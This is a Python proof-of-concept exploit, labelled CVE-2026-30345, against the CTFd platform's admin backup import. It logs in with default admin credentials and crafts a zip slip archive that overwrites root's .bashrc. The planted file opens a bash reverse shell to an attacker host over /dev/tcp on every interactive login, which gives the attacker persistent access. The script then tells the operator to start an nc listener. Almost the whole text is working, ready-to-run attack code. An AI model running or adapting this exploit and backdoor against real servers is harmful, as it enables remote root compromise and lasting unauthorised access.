from time import sleep import requests import re import zipfile import shutil from pathlib import Path from textwrap import dedent _DEBUG_ = True _PROXY_ = 'http://127.0.0.1:8080' _RHOST_ = 'http://localhost:8000' CTFD_ADMIN_USERNAME = "admin" CTFD_ADMIN_PASSWORD = "admin" ATTACKER_IP = "host.docker.internal" # Change to your actual IP if not using Docker ATTACKER_PORT = 4444 def get_proxies(): return {"http": _PROXY_} if _DEBUG_ else {} def login(): session = requests.Session() session.proxies.update(get_proxies()) request_getloginnonce = session.get(_RHOST_ + "/login") nonce_regex = r'id="nonce".*value="(.*)">' noncevalue = re.findall(nonce_regex, request_getloginnonce.text)[0] request_login = session.post(_RHOST_ + "/login", data={"name":CTFD_ADMIN_USERNAME,"password":CTFD_ADMIN_PASSWORD,"_submit":"submit","nonce":noncevalue}) if (request_login.status_code == 200) and ("/admin" in request_login.text): print("[+] Login successful") return session def export_ctfd_baseline(session): response = session.get(_RHOST_ + "/admin/export") if response.status_code != 200: print(f"[-] Error: HTTP {response.status_code}") return with open("ctfd_backup.zip", "wb") as f: f.write(response.content) print("[+] Backup saved to ctfd_backup.zip") def extract_backup(zip_path: str, extract_dir: str = "backup_extracted"): """Extract CTFd backup zip file""" Path(extract_dir).mkdir(exist_ok=True) with zipfile.ZipFile(zip_path, 'r') as z: z.extractall(extract_dir) print(f"[+] Extracted to {extract_dir}/") return extract_dir def add_folder_to_zip(z: zipfile.ZipFile, folder: Path, arc_prefix: str): """Add entire folder to zip preserving structure""" folder = folder.resolve() count = 0 for p in sorted(folder.rglob("*")): if p.is_file(): rel = p.relative_to(folder).as_posix() arcname = f"{arc_prefix.rstrip('/')}/{rel}".lstrip("/") z.write(p, arcname) count += 1 return count def create_bashrc_payload(attacker_ip: str, attacker_port: int) -> str: """ Persistence payload for .bashrc Executes reverse shell in background on every interactive login """ return dedent(f''' # ============================================================================ # CVE-2026-30345 - Persistence Backdoor # ============================================================================ # This was injected via CTFd zip slip vulnerability # Triggers on every interactive shell session # ============================================================================ if [ -n "$PS1" ]; then # Interactive shell detected - launch background reverse shell (bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1 &) 2>/dev/null # Log successful execution echo "[$(date)] CVE-2026-30345 backdoor executed" >> /tmp/.cve_2026_30345.log fi # ============================================================================ ''').strip() def create_zipslip_payload(db_dir: str, attacker_ip: str, attacker_port: int, target_user: str = "root", output: str = "malicious_backup.zip"): """Create malicious backup with zip slip payload""" db_path = Path(db_dir) if not db_path.exists(): print(f"[-] Error: db directory not found: {db_dir}") return None if not (db_path / "alembic_version.json").exists(): print(f"[-] Error: No alembic_version.json in {db_dir}") return None bashrc = create_bashrc_payload(attacker_ip, attacker_port) bypass_path = f"uploads//{target_user}/.bashrc" with zipfile.ZipFile(output, "w", compression=zipfile.ZIP_DEFLATED) as z: add_folder_to_zip(z, db_path, "db") z.writestr(bypass_path, bashrc.encode('utf-8')) print(f"[+] Malicious backup created: {output}") return output def upload_malicious_backup(session, zip_file: str = "malicious_backup.zip"): """Upload malicious backup to CTFd""" if not Path(zip_file).exists(): print(f"[-] Error: {zip_file} not found") return False # Get nonce from import page response = session.get(_RHOST_ + "/admin/config", proxies=get_proxies()) nonce_regex = r'id="nonce".*value="(.*)">' nonce = re.findall(nonce_regex, response.text) if not nonce: print(f"[-] Error: Could not extract nonce") return False nonce = nonce[0] with open(zip_file, "rb") as f: files = {"backup": f} data = {"nonce": nonce} response = session.post(_RHOST_ + "/admin/import", files=files, data=data, proxies = get_proxies()) if response.status_code == 200: print(f"[+] Malicious backup uploaded successfully") return True else: print(f"[-] Upload failed: HTTP {response.status_code}") return False def cleanup(extract_dir: str = "backup_extracted"): """Clean up extracted files""" shutil.rmtree(extract_dir, ignore_errors=True) if __name__ == '__main__': session = login() export_ctfd_baseline(session) extracted_dir = extract_backup("ctfd_backup.zip") create_zipslip_payload( db_dir=f"{extracted_dir}/db", attacker_ip=ATTACKER_IP, attacker_port=ATTACKER_PORT, target_user="root", output="malicious_backup.zip" ) upload_malicious_backup(session, "malicious_backup.zip") cleanup(extracted_dir) sleep(30) # Wait for CTFd to process the backup and trigger the payload print(f"\n[+] Exploit complete! Start listener: nc -lvnp {ATTACKER_PORT}")